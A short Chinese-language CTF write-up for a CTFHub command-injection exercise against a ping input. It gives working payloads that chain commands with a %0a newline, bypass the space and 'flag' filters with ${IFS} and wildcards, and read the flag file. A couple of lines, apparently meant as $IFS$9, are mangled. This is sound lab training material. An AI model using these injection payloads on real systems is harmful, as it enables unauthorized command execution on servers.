通过源码得知已经过滤掉了一些字符
这里我们可以利用url地址栏来构造payload ,在url中%0a代表换行当在ping后面接上%0a便可执行下一条命令(建议使用burp抓包,因为浏览器会对%0a进行二次编码)
使用%0als得到一个flag_is_here文件夹和一个index.php文件,很明显index.php并不是我们要的flag而是网页PHP源码,那么flag肯定就在flag_is_here文件夹中,但网页已经过滤了空格和flag。
payload:0%0als
这里可以去看大佬写的一篇文章:命令执行绕过的方法 - 走看看
从大佬文章中得知在LINUX中
${IFS}
IFSIFS9
IFSIFS9
都表示空格,空格问题解决了而绕过flag就简单了,在Windows和Linux中都支持用 “*” 号模糊查询,因此构造一下条payload了
payload:0%0als${IFS}*here
这样就得到一个装有flag的php文件了
最后只需要CD去这个文件夹并打开flag文件就行了,在LINUX中打开文件可以用
这里要更改CD进去ls是不行的
0%0acd${IFS}*here%0ahead${IFS}*.php
payload:0%0acd${IFS}*here%0ahead${IFS}*.php
cat
tail
less
head
这里还有一个大佬用了另一种方法
ctfhub_REC_综合练习_devil8123665的博客-CSDN博客